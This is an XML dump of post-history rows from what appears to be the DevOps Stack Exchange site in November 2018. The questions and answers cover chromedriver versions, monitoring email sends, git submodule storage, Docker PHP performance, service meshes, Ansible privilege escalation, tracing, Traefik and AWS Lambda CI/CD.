  <row Id="17071" PostHistoryTypeId="1" PostId="5368" RevisionGUID="559fb4d8-81ae-40ac-93c8-75a3ce477d71" CreationDate="2018-11-07T18:33:03.983" UserId="10727" Text="AutomatedTest selenium chromedriver not running after update chrome" ContentLicense="CC BY-SA 4.0" />
  <row Id="17072" PostHistoryTypeId="3" PostId="5368" RevisionGUID="559fb4d8-81ae-40ac-93c8-75a3ce477d71" CreationDate="2018-11-07T18:33:03.983" UserId="10727" Text="&lt;selenium&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17073" PostHistoryTypeId="2" PostId="5369" RevisionGUID="3e7fcb04-f0fa-4248-a69e-c8ec946fba1c" CreationDate="2018-11-07T19:30:43.790" UserId="10728" Text="This is a good question for stackoverflow as well. &#xD;&#xA;&#xD;&#xA;selenium tests often break because chrome is updated automatically and the chromedriver does not, or vice-versa. &#xD;&#xA;&#xD;&#xA;Just make sure the chromedriver you're using fits the chrome version that you have. &#xD;&#xA;&#xD;&#xA;http://chromedriver.chromium.org/&#xD;&#xA;&#xD;&#xA;Note version 2.43 and chrome 70 are not exactly compatible even though it says they are. If you have chrome 70, I suggest chromedriver 2.42. &#xD;&#xA;&#xD;&#xA;I use docker which I manually maintain to avoid automated chrome updates, and I use protractor which has webdriver tool where I can tell it to freeze the chromedriver version. &#xD;&#xA;So nothing gets updated unless I say so, and it's been working well for a year and a half now. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17074" PostHistoryTypeId="2" PostId="5370" RevisionGUID="d693e4eb-f88d-448a-86b4-21e8762bcb05" CreationDate="2018-11-07T19:38:03.953" UserId="10728" Text="My project is using customer.io to send emails in different flows. &#xD;&#xA;&#xD;&#xA;Every now and then we have a bug, and one of those calls stops and email is not sent. &#xD;&#xA;&#xD;&#xA;I want to get alerted when an email is not sent in the last 24 hours.&#xD;&#xA;It would be great if the solution could give me alert on any spike but the mvp is 0 in the last 24 hours. &#xD;&#xA; &#xD;&#xA;What is the best way to do it? &#xD;&#xA;&#xD;&#xA;Currently, I am trying to use some process to poll customer.io REST API which provides exactly the information I need. &#xD;&#xA;&#xD;&#xA;    [{&#xD;&#xA;        &quot;campaign&quot;: &quot;Hello&quot;, &#xD;&#xA;        &quot;sent&quot;: 0 // This should trigger an alert. sent is for last 24 hours&#xD;&#xA;    }, { &#xD;&#xA;        &quot;campaign&quot;: &quot;World&quot;,&#xD;&#xA;        &quot;sent&quot;: 1 // should not trigger an alert&#xD;&#xA;    }]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Then to do some ETL on this, and feed some data source (maybe cloudwatch, haven't decided yet), and then hook grafana to give me alerts on any spikes. &#xD;&#xA;&#xD;&#xA;I am new to this field and am wondering if I am going the right way and if there's a better/easier way to tackle the problem. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17075" PostHistoryTypeId="1" PostId="5370" RevisionGUID="d693e4eb-f88d-448a-86b4-21e8762bcb05" CreationDate="2018-11-07T19:38:03.953" UserId="10728" Text="How to monitor a REST call response?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17076" PostHistoryTypeId="3" PostId="5370" RevisionGUID="d693e4eb-f88d-448a-86b4-21e8762bcb05" CreationDate="2018-11-07T19:38:03.953" UserId="10728" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17077" PostHistoryTypeId="5" PostId="5370" RevisionGUID="66e96bcb-98e1-4844-b57e-47c762c05855" CreationDate="2018-11-07T21:10:02.053" UserId="10728" Comment="added 248 characters in body" Text="My project is using customer.io to send emails in different flows. &#xD;&#xA;&#xD;&#xA;Every now and then we have a bug, and one of those calls stops and email is not sent. &#xD;&#xA;&#xD;&#xA;I want to get alerted when an email is not sent in the last 24 hours.&#xD;&#xA;It would be great if the solution could give me alert on any spike but the mvp is 0 in the last 24 hours. &#xD;&#xA; &#xD;&#xA;What is the best way to do it? &#xD;&#xA;&#xD;&#xA;Currently, I am trying to use some process to poll customer.io REST API which provides exactly the information I need. &#xD;&#xA;&#xD;&#xA;    [{&#xD;&#xA;        &quot;campaign&quot;: &quot;Hello&quot;, &#xD;&#xA;        &quot;sent&quot;: 0 // This should trigger an alert. sent is for last 24 hours&#xD;&#xA;    }, { &#xD;&#xA;        &quot;campaign&quot;: &quot;World&quot;,&#xD;&#xA;        &quot;sent&quot;: 1 // should not trigger an alert&#xD;&#xA;    }]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Then to do some ETL on this, and feed some data source (maybe cloudwatch, haven't decided yet), and then hook grafana to give me alerts on any spikes. &#xD;&#xA;&#xD;&#xA;I am new to this field and am wondering if I am going the right way and if there's a better/easier way to tackle the problem. &#xD;&#xA;&#xD;&#xA;== Update - I found out about Grafana SimpleJSON plugin but it expects me to be the owner of the backend. I am going to write some lambdas and use gateway (basically implement an ETL) and use SimpleJSON plugin from grafana to get things going. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17078" PostHistoryTypeId="2" PostId="5371" RevisionGUID="d6e24dd4-00d8-4c5e-88d0-e2c05f8b9604" CreationDate="2018-11-07T21:35:01.207" UserId="786" Text="I understand how to use [git submodule](https://git-scm.com/book/en/v2/Git-Tools-Submodules) to reference a specific commit in another repo, but where is that reference actually stored? It doesn't seem to be in `.gitmodules` as plain text?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17079" PostHistoryTypeId="1" PostId="5371" RevisionGUID="d6e24dd4-00d8-4c5e-88d0-e2c05f8b9604" CreationDate="2018-11-07T21:35:01.207" UserId="786" Text="Where is the git submodule revision actually stored?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17080" PostHistoryTypeId="3" PostId="5371" RevisionGUID="d6e24dd4-00d8-4c5e-88d0-e2c05f8b9604" CreationDate="2018-11-07T21:35:01.207" UserId="786" Text="&lt;git&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17081" PostHistoryTypeId="2" PostId="5372" RevisionGUID="078ca31e-c60a-44fe-a539-3ccbbb632a7f" CreationDate="2018-11-07T21:38:40.657" UserId="786" Text="For what use cases are [git submodule](https://git-scm.com/book/en/v2/Git-Tools-Submodules)s (or [subtrees](https://www.atlassian.com/blog/git/alternatives-to-git-submodule-git-subtree)) better suited than [braid](https://github.com/cristibalan/braid) and vice-versa?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17082" PostHistoryTypeId="1" PostId="5372" RevisionGUID="078ca31e-c60a-44fe-a539-3ccbbb632a7f" CreationDate="2018-11-07T21:38:40.657" UserId="786" Text="Appropriate use cases for git submodule and braid" ContentLicense="CC BY-SA 4.0" />
  <row Id="17083" PostHistoryTypeId="3" PostId="5372" RevisionGUID="078ca31e-c60a-44fe-a539-3ccbbb632a7f" CreationDate="2018-11-07T21:38:40.657" UserId="786" Text="&lt;git&gt;&lt;cicd&gt;&lt;versioning&gt;&lt;software-recommendation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17084" PostHistoryTypeId="2" PostId="5373" RevisionGUID="529364ac-5db5-481a-b7c9-c5d4485bbea7" CreationDate="2018-11-07T23:25:48.970" UserId="10730" Text="I've recently migrated an event subscription service called by a bash script from Ubuntu, into a Dockerised container.&#xD;&#xA;&#xD;&#xA;The Docker image I am using is: `FROM php:7.1-apache`&#xD;&#xA;&#xD;&#xA;The script itself is pretty straightforward:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    DIR=&quot;$(dirname $0)&quot;&#xD;&#xA;    OUTPUT=&quot;&quot;&#xD;&#xA;    &#xD;&#xA;    while true&#xD;&#xA;    do&#xD;&#xA;        OUTPUT=&quot;&quot;&#xD;&#xA;        OUTPUT=$OUTPUT$(php $DIR/../bin/cli.php bash:v1:issueEvents)&#xD;&#xA;        OUTPUT=$OUTPUT$(php $DIR/../bin/cli.php bash:v1:processCustomerAccountEventSubscriptions)&#xD;&#xA;        OUTPUT=$OUTPUT$(php $DIR/../bin/cli.php bash:v1:processProductionOrderEventSubscriptions)&#xD;&#xA;        OUTPUT=$OUTPUT$(php $DIR/../bin/cli.php bash:v1:processWebEnquiryEventSubscriptions)&#xD;&#xA;        OUTPUT=$OUTPUT$(php $DIR/../bin/cli.php bash:v1:processWebOrderEventSubscriptions)&#xD;&#xA;        OUTPUT=$OUTPUT$(php $DIR/../bin/cli.php bash:v1:processWebQuoteEventSubscriptions)&#xD;&#xA;    &#xD;&#xA;        if [ -z &quot;$OUTPUT&quot; ]; then&#xD;&#xA;            sleep 10&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;A complete round trip from event subscription to processing would take about 30 seconds on the host OS. Inside a container it is taking around 10 minutes.&#xD;&#xA;&#xD;&#xA;My initial suspicion was that DNS was slowing things down, but I've installed `dnsutils` and the lookup times are the same both inside and outside the container.&#xD;&#xA; &#xD;&#xA;I'd like advice regarding how I'd go about investigating the cause of this slowdown." ContentLicense="CC BY-SA 4.0" />
  <row Id="17085" PostHistoryTypeId="1" PostId="5373" RevisionGUID="529364ac-5db5-481a-b7c9-c5d4485bbea7" CreationDate="2018-11-07T23:25:48.970" UserId="10730" Text="How can I diagnose php cli command execution time inside a docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="17086" PostHistoryTypeId="3" PostId="5373" RevisionGUID="529364ac-5db5-481a-b7c9-c5d4485bbea7" CreationDate="2018-11-07T23:25:48.970" UserId="10730" Text="&lt;docker&gt;&lt;php&gt;&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17087" PostHistoryTypeId="50" PostId="4725" RevisionGUID="50c584ab-3300-4349-8852-75a855420c8e" CreationDate="2018-11-08T02:01:10.797" UserId="-1" />
  <row Id="17088" PostHistoryTypeId="2" PostId="5374" RevisionGUID="5653b2ee-d85f-4a31-b714-a9a06388c939" CreationDate="2018-11-08T02:57:31.810" UserId="7772" Text="In this context and cloud computing, I read about &quot;service mesh&quot; and/or &quot;serverless mesh&quot; but I don't fully understand what it is. Can you explain?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17089" PostHistoryTypeId="1" PostId="5374" RevisionGUID="5653b2ee-d85f-4a31-b714-a9a06388c939" CreationDate="2018-11-08T02:57:31.810" UserId="7772" Text="What is a &quot;mesh&quot;?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17090" PostHistoryTypeId="3" PostId="5374" RevisionGUID="5653b2ee-d85f-4a31-b714-a9a06388c939" CreationDate="2018-11-08T02:57:31.810" UserId="7772" Text="&lt;microservices&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17091" PostHistoryTypeId="2" PostId="5375" RevisionGUID="1f55869d-ef1e-4c7d-904b-958fdda22219" CreationDate="2018-11-08T07:16:48.887" UserId="786" Text="The concept of _service discovery_ works like this:&#xD;&#xA;&#xD;&#xA; 1. When a server, such as a database, starts up, it contacts a central registry and says _Hi, I am a database, and these are my connection details_.&#xD;&#xA; 2. Then when a client starts up, it contacts the registry and says _Hi, I need a database_ and the registry replies _Here are the connection details_ and the client connects to the database directly.&#xD;&#xA;&#xD;&#xA;The concept of _mesh_ applies a layer of abstraction to this. Every host runs an agent of the mesh, there is no central registry. Now the scenario looks like this:&#xD;&#xA;&#xD;&#xA; 1. The database server starts up and tells its local mesh agent that it is ready&#xD;&#xA; 2. The client starts up and tells its local mesh agent that it needs a database&#xD;&#xA; 3. The client then connects _to its local mesh agent_ which forwards the traffic to the mesh agent on the database server, which simply sees a local connection. Neither the client nor the server are really aware of each other, just of their local connections.&#xD;&#xA;&#xD;&#xA;The advantages are decentralisation and scalability - you could add a new database server for example and let the mesh transparently handle routing and load balancing. There is no central registry to worry about. In our scenario of one client and one server that doesn't matter so much but if you go wild and have 10,000 microservices then it becomes very relevant. &#xD;&#xA;&#xD;&#xA;The disadvantage is one of &quot;all your eggs in one basket&quot;, the mesh itself must be more robust etc than making a traditional connection, which has been proven to work for 30 years. It can also be difficult to use traditional troubleshooting tools such as tracing connections, because the mesh is something of a &quot;black box&quot;, it can be difficult to reason about all the connections. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17092" PostHistoryTypeId="2" PostId="5376" RevisionGUID="d26105ed-386f-4f30-9528-8abb0ec90ff6" CreationDate="2018-11-08T07:30:18.833" UserId="10676" Text="I ended up using the command module to run a find to ascertain which files were owned by the required user, put them in a register and pass that register to the file module using with_items.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="17093" PostHistoryTypeId="2" PostId="5377" RevisionGUID="20c5f711-b825-4b0e-ada7-0e8b864bceb1" CreationDate="2018-11-08T09:04:14.087" UserId="10736" Text="I have Traefik reverse proxy running to allow a couple of docker containerized apps to run on the same domain just to learn about running multiple containers following https://www.smarthomebeginner.com/traefik-reverse-proxy-tutorial-for-docker. Everything works well.  I want to install Device Hive to test it as an IOT platform, but it has multiple containers and it's own nginx proxy and docker-compose file https://github.com/devicehive/devicehive-docker/blob/master/rdbms-image/docker-compose.yml.&#xD;&#xA;&#xD;&#xA;Is there a way I can add the Device Hive platform to my existing Traefik build or is it more trouble than its worth.  I wondering, more or less while making sure I'm not having a port conflict, if there's an easy way to have Traefik point a subdomain(subdomains are used for the other apps) to the 80/443 ports of the nginx proxy, and just have everything work.  My other option is to create another VM for the IOT platform. &#xD;&#xA;&#xD;&#xA;I may be searching with the wrong terms but I haven't really found an answer.    Any help is appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="17094" PostHistoryTypeId="1" PostId="5377" RevisionGUID="20c5f711-b825-4b0e-ada7-0e8b864bceb1" CreationDate="2018-11-08T09:04:14.087" UserId="10736" Text="How should I run a multicontainer app/platform with nginx behind traefik" ContentLicense="CC BY-SA 4.0" />
  <row Id="17095" PostHistoryTypeId="3" PostId="5377" RevisionGUID="20c5f711-b825-4b0e-ada7-0e8b864bceb1" CreationDate="2018-11-08T09:04:14.087" UserId="10736" Text="&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17097" PostHistoryTypeId="5" PostId="5348" RevisionGUID="15a547d6-13a3-4d7d-9f2d-a51d3899e96e" CreationDate="2018-11-08T12:27:43.763" UserId="9404" Comment="added 665 characters in body" Text="&gt; --become-user root&#xD;&#xA;&#xD;&#xA;I think you are doing ssh connection between two servers as a root user. I would like to know why. I would never do this.&#xD;&#xA;&#xD;&#xA;Assuming those servers are Unix/Linux . Since there is no details how you test with CLI.I am also curious about it. &#xD;&#xA;&#xD;&#xA;This might help.&#xD;&#xA;[Enable root login over SSH][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Command line options&#xD;&#xA;--ask-become-pass, -K&#xD;&#xA; 	ask for privilege escalation password; does not imply become will be used. Note that this password will be used for all hosts.&#xD;&#xA;--become, -b 	run operations with become (no password implied)&#xD;&#xA;--become-method=BECOME_METHOD&#xD;&#xA; 	privilege escalation method to use (default=sudo), valid choices: [ sudo | su | pbrun | pfexec | doas | dzdo | ksu | runas | machinectl ]&#xD;&#xA;--become-user=BECOME_USER&#xD;&#xA; 	run operations as this user (default=root), does not imply –become/-b&#xD;&#xA;&#xD;&#xA;[Understanding Privilege Escalation][2]&#xD;&#xA;&#xD;&#xA;I think you just want it working :) Ansible documentation is short and brief.&#xD;&#xA;&#xD;&#xA;Working with Inventory&#xD;&#xA;ansible_ssh_pass&#xD;&#xA;    The ssh password to use (never store this variable in plain text; always use a vault. See Variables and Vaults)&#xD;&#xA;ansible_ssh_private_key_file&#xD;&#xA;    Private key file used by ssh. Useful if using multiple keys and you don’t want to use SSH agent.&#xD;&#xA;ansible_ssh_common_args&#xD;&#xA;    This setting is always appended to the default command line for sftp, scp, and ssh. Useful to configure a ProxyCommand for a certain host (or group).&#xD;&#xA;&#xD;&#xA;[Working with Inventory][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/v2v_guide/preparation_before_the_p2v_migration-enable_root_login_over_ssh&#xD;&#xA;  [2]: https://docs.ansible.com/ansible/2.6/user_guide/become.html#becoming-an-unprivileged-user&#xD;&#xA;  [3]: https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="17098" PostHistoryTypeId="5" PostId="5348" RevisionGUID="377362fb-27dc-42c3-bb8e-4509e52e9ab1" CreationDate="2018-11-08T12:37:54.610" UserId="9404" Comment="added 4 characters in body" Text="&gt; --become-user root&#xD;&#xA;&#xD;&#xA;I think you are doing ssh connection between two servers as a root user. I would like to know why. I would never do this.&#xD;&#xA;&#xD;&#xA;Assuming those servers are Unix/Linux . Since there is no details how you test with CLI.I am also curious about it. &#xD;&#xA;&#xD;&#xA;This might help.&#xD;&#xA;[Enable root login over SSH][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Command line options&#xD;&#xA;--ask-become-pass, -K&#xD;&#xA; 	ask for privilege escalation password; does not imply become will be used. Note that this password will be used for all hosts.&#xD;&#xA;--become, -b 	run operations with become (no password implied)&#xD;&#xA;--become-method=BECOME_METHOD&#xD;&#xA; 	privilege escalation method to use (default=sudo), valid choices: [ sudo | su | pbrun | pfexec | doas | dzdo | ksu | runas | machinectl ]&#xD;&#xA;--become-user=BECOME_USER&#xD;&#xA; 	run operations as this user (default=root), does not imply –become/-b&#xD;&#xA;&#xD;&#xA;[Understanding Privilege Escalation][2]&#xD;&#xA;&#xD;&#xA;I think you just want it working :) Ansible documentation is short and brief.&#xD;&#xA;&#xD;&#xA;&gt; Working with Inventory&#xD;&#xA;ansible_ssh_pass  &#xD;&#xA;    The ssh password to use (never store this variable in plain text; always use a vault. See Variables and Vaults)&#xD;&#xA;ansible_ssh_private_key_file&#xD;&#xA;    Private key file used by ssh. Useful if using multiple keys and you don’t want to use SSH agent.&#xD;&#xA;ansible_ssh_common_args&#xD;&#xA;    This setting is always appended to the default command line for sftp, scp, and ssh. Useful to configure a ProxyCommand for a certain host (or group).&#xD;&#xA;&#xD;&#xA;[Working with Inventory][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/v2v_guide/preparation_before_the_p2v_migration-enable_root_login_over_ssh&#xD;&#xA;  [2]: https://docs.ansible.com/ansible/2.6/user_guide/become.html#becoming-an-unprivileged-user&#xD;&#xA;  [3]: https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="17099" PostHistoryTypeId="2" PostId="5378" RevisionGUID="18d01e57-db18-471c-acd7-180aa91b0287" CreationDate="2018-11-08T13:42:18.630" UserId="10599" Text="The question hasn't had an answer in seven months so I will promote my upvoted comment to an answer: &#xD;&#xA;&#xD;&#xA;Finding the lifecycle of a specific message across services is known as &quot;distributed tracing&quot;. Distributed tracing requires more than just capturing logs. OpenShift uses Kubernetes which is part of [cncf.io/projects][1] which governs [opentracing.io][2] and has one tracing solution [jaegertracing.io][3]. As Jaeger is a sister project to Kubernetes you are likely to find it widely supported. Here is an [openshift commons video about it][4]. &#xD;&#xA;&#xD;&#xA;I should mention that the question is likely to gather a lot of answers of the type &quot;the only tool I have used is the best tool ever!&quot;. Experts will avoid answering such questions. On many sister StackExchange sites, often questions that get such answers get put on hold by moderators as been unhelpful.  &#xD;&#xA;&#xD;&#xA;I recommend that you don't look at new tools before fully exploring the tools that are near to hand or &quot;most obviously stable and well supported&quot;. As EFK (sometimes more amusingly know as FEK as it sounds naughty) ships with OpenShift its worth really digging into what it can do. Then ask questions about how to do the things that it appears it cannot do here. That is the style of question that helps everyone and that experts will gladly answer. &#xD;&#xA;&#xD;&#xA;  [1]: https://www.cncf.io/projects/&#xD;&#xA;  [2]: https://opentracing.io/&#xD;&#xA;  [3]: https://www.jaegertracing.io/&#xD;&#xA;  [4]: https://red.ht/2Fb1zJs" ContentLicense="CC BY-SA 4.0" />
  <row Id="17100" PostHistoryTypeId="5" PostId="5378" RevisionGUID="0e7b6289-d043-426e-b580-5f81d48d1d2c" CreationDate="2018-11-08T13:47:44.687" UserId="10599" Comment="added 207 characters in body" Text="The question hasn't had an answer in seven months so I will promote my upvoted comment to an answer: &#xD;&#xA;&#xD;&#xA;Finding the lifecycle of a specific message across services is known as &quot;distributed tracing&quot;. Distributed tracing requires more than just capturing logs. OpenShift uses Kubernetes which is part of [cncf.io/projects][1] which governs [opentracing.io][2] and has one tracing solution [jaegertracing.io][3]. As Jaeger is a sister project to Kubernetes you are likely to find it widely supported. Here is an [openshift commons video about it][4]. &#xD;&#xA;&#xD;&#xA;I should mention that the question is likely to gather a lot of answers of the type &quot;the only tool I have used is the best tool ever!&quot;. Experts will avoid answering such questions. On many sister StackExchange sites, often questions that get such answers get put on hold by moderators as been unhelpful.  &#xD;&#xA;&#xD;&#xA;I recommend that you don't look at new tools before fully exploring the tools that are near to hand or &quot;most obviously stable and well supported&quot;. As EFK (sometimes more amusingly know as FEK as it sounds naughty) ships with OpenShift its worth really digging into what it can do. Then ask questions about how to do the things that it appears it cannot do. That is the style of question that helps everyone and that experts will gladly answer and you may then find that the most stable and widely support tool meets your needs. That is the best outcomes as it is going to be the easiest to get running, the least likely to break on upgrades, and the least likely to itself go down causing you late nights fixing it. &#xD;&#xA;&#xD;&#xA;  [1]: https://www.cncf.io/projects/&#xD;&#xA;  [2]: https://opentracing.io/&#xD;&#xA;  [3]: https://www.jaegertracing.io/&#xD;&#xA;  [4]: https://red.ht/2Fb1zJs" ContentLicense="CC BY-SA 4.0" />
  <row Id="17105" PostHistoryTypeId="5" PostId="5092" RevisionGUID="f32fb5da-9514-4464-9052-bb9eb5f8c482" CreationDate="2018-11-08T16:04:48.877" UserId="4394" Comment="added 1 character in body" Text="Not a stupid question, but it's lacking details. If by stack you mean Terraform, Vault, Consul etc, then you would go about provisioning machines/VMs/containers for those services likely using some form of ansible or equivalent.&#xD;&#xA;&#xD;&#xA;It would be prudent to store those scripts in git or any other source control system.&#xD;&#xA;&#xD;&#xA;&gt; Like, for example, should I just be spinning up individual VMs to host each part of the HashiCorp stack? Should I be doing that instead using containers?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Personally, I find containers more flexible especially when upgrading/ testing. The only downside is you have to remember to mount a data volume into the container to persist any configuration data which would normally live beyond the lifecycle of the container.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17106" PostHistoryTypeId="5" PostId="5375" RevisionGUID="57c67bd5-879e-479d-8016-f4edc05adc60" CreationDate="2018-11-08T17:37:26.803" UserId="786" Comment="added 62 characters in body" Text="The concept of _service discovery_ works like this:&#xD;&#xA;&#xD;&#xA; 1. When a server, such as a database, starts up, it contacts a central registry and says _Hi, I am a database, and these are my connection details_.&#xD;&#xA; 2. Then when a client starts up, it contacts the registry and says _Hi, I need a database_ and the registry replies _Here are the connection details_ and the client connects to the database directly.&#xD;&#xA;&#xD;&#xA;The only config anyone needs is the location of the registry. The concept of _mesh_ applies a layer of abstraction to this. Every host runs an agent of the mesh, there is no central registry. Now the scenario looks like this:&#xD;&#xA;&#xD;&#xA; 1. The database server starts up and tells its local mesh agent that it is ready&#xD;&#xA; 2. The client starts up and tells its local mesh agent that it needs a database&#xD;&#xA; 3. The client then connects _to its local mesh agent_ which forwards the traffic to the mesh agent on the database server, which simply sees a local connection. Neither the client nor the server are really aware of each other, just of their local connections.&#xD;&#xA;&#xD;&#xA;The advantages are decentralisation and scalability - you could add a new database server for example and let the mesh transparently handle routing and load balancing. There is no central registry to worry about. In our scenario of one client and one server that doesn't matter so much but if you go wild and have 10,000 microservices then it becomes very relevant. &#xD;&#xA;&#xD;&#xA;The disadvantage is one of &quot;all your eggs in one basket&quot;, the mesh itself must be more robust etc than making a traditional connection, which has been proven to work for 30 years. It can also be difficult to use traditional troubleshooting tools such as tracing connections, because the mesh is something of a &quot;black box&quot;, it can be difficult to reason about all the connections. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17107" PostHistoryTypeId="2" PostId="5380" RevisionGUID="e0a3edd4-5464-4642-b3a6-2e9cafcac173" CreationDate="2018-11-08T18:46:51.777" UserId="2855" Text="The `.gitmodules` file just records the path and remote URL to the submodule repository. The commit itself is stored in the tree object. You can query it like this:&#xD;&#xA;&#xD;&#xA;    git ls-tree &lt;ref&gt; &lt;path&gt;&#xD;&#xA;&#xD;&#xA;where `&lt;ref&gt;` is a reference to some commit (e.g. `HEAD`, `master`, a commit SHA sum) and `&lt;path&gt;` is a path to a submodule.&#xD;&#xA;&#xD;&#xA;The output looks something like this:&#xD;&#xA;&#xD;&#xA;    160000 commit &lt;sha&gt; &lt;path&gt;&#xD;&#xA;&#xD;&#xA;where `&lt;sha&gt;` is the commit in the submodule. The number in front has the following meaning, according to [the Git book](https://git-scm.com/book/en/v2/Git-Tools-Submodules):&#xD;&#xA;&#xD;&#xA;&gt; Notice the `160000` mode for the `DbConnector` *(submodule path of the example used in the book)* entry. That is a special mode in Git that basically means you’re recording a commit as a directory entry rather than a subdirectory or a file.&#xD;&#xA;&#xD;&#xA;See also [this question on StackOverflow](https://stackoverflow.com/q/5033441/1347968)." ContentLicense="CC BY-SA 4.0" />
  <row Id="17111" PostHistoryTypeId="50" PostId="4736" RevisionGUID="afd4d67c-5d09-4e27-b58c-98b4bcf688a4" CreationDate="2018-11-08T21:00:05.330" UserId="-1" />
  <row Id="17112" PostHistoryTypeId="5" PostId="5375" RevisionGUID="321b5fca-9d46-49ba-883a-4f4395880507" CreationDate="2018-11-08T21:44:26.033" UserId="786" Comment="added 144 characters in body" Text="The concept of _service discovery_ works like this:&#xD;&#xA;&#xD;&#xA; 1. When a server, such as a database, starts up, it contacts a central registry and says _Hi, I am a database, and these are my connection details_.&#xD;&#xA; 2. Then when a client starts up, it contacts the registry and says _Hi, I need a database_ and the registry replies _Here are the connection details_ and the client connects to the database directly.&#xD;&#xA;&#xD;&#xA;The only config anyone needs is the location of the registry. The concept of _mesh_ applies a layer of abstraction to this. Every host runs an agent of the mesh, there is no central registry. Now the scenario looks like this:&#xD;&#xA;&#xD;&#xA; 1. The database server starts up and tells its local mesh agent that it is ready&#xD;&#xA; 2. The client starts up and tells its local mesh agent that it needs a database&#xD;&#xA; 3. The client then connects _to its local mesh agent_ which forwards the traffic to the mesh agent on the database server, which simply sees a local connection. Neither the client nor the server are really aware of each other, just of their local connections.&#xD;&#xA;&#xD;&#xA;The advantages are decentralisation and scalability - you could add a new database server for example and let the mesh transparently handle routing and load balancing. There is no central registry to worry about. In our scenario of one client and one server that doesn't matter so much but if you go wild and have 10,000 microservices then it becomes very relevant. &#xD;&#xA;&#xD;&#xA;The disadvantage is one of &quot;all your eggs in one basket&quot;, the mesh itself must be more robust etc than making a traditional connection, which has been proven to work for 30 years. It can also be difficult to use traditional troubleshooting tools such as tracing connections, because the mesh is something of a &quot;black box&quot;, it can be difficult to reason about all the connections as all the traffic on your network now will be inside the mesh, e.g. you can't just look for connections on port X and know that's the database. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17113" PostHistoryTypeId="2" PostId="5382" RevisionGUID="08516e41-c347-4aa4-bc53-9f24a7e6bc99" CreationDate="2018-11-08T21:48:36.803" UserId="786" Text="This feature has [been available in Azure](https://azure.microsoft.com/en-us/blog/announcing-auto-shutdown-for-vms-using-azure-resource-manager/) for a couple of years now, it's as simple as ticking a box and setting a time for shutdown. You can also have it fire a webhook if you need any notifications, or scripts run, or anything else when it shuts down. &#xD;&#xA;&#xD;&#xA;Also on Azure there are pre-configured [data science VMs](https://docs.microsoft.com/en-us/azure/machine-learning/data-science-virtual-machine/overview) and [deep learning VMs](https://docs.microsoft.com/en-us/azure/machine-learning/data-science-virtual-machine/deep-learning-dsvm-overview) with all the tools you need including [R](https://mran.microsoft.com/open) already installed, you just pick a size and spin one up. You are correct that while a VM is not running, you will be charged only for the storage used. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17114" PostHistoryTypeId="2" PostId="5383" RevisionGUID="5912dba6-6287-421e-9360-6b8644a8c0d4" CreationDate="2018-11-08T22:43:29.013" UserId="4156" Text="Will it be practically possible to build some pipeline; &#xD;&#xA;&#xD;&#xA;1. starting from rapid AWS Lambda function development using blueprints, &#xD;&#xA;1. to store them later on a new GitHub repo, &#xD;&#xA;1. that is linked to some CICD such as Travis, &#xD;&#xA;1. that will in turn deploy successful builds back in AWS Lambda?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17115" PostHistoryTypeId="1" PostId="5383" RevisionGUID="5912dba6-6287-421e-9360-6b8644a8c0d4" CreationDate="2018-11-08T22:43:29.013" UserId="4156" Text="Storing my Lambda Functions on GitHub" ContentLicense="CC BY-SA 4.0" />
  <row Id="17116" PostHistoryTypeId="3" PostId="5383" RevisionGUID="5912dba6-6287-421e-9360-6b8644a8c0d4" CreationDate="2018-11-08T22:43:29.013" UserId="4156" Text="&lt;amazon-web-services&gt;&lt;github&gt;&lt;aws-lambda&gt;&lt;travis-ci&gt;" ContentLicense="CC BY-SA 4.0" />
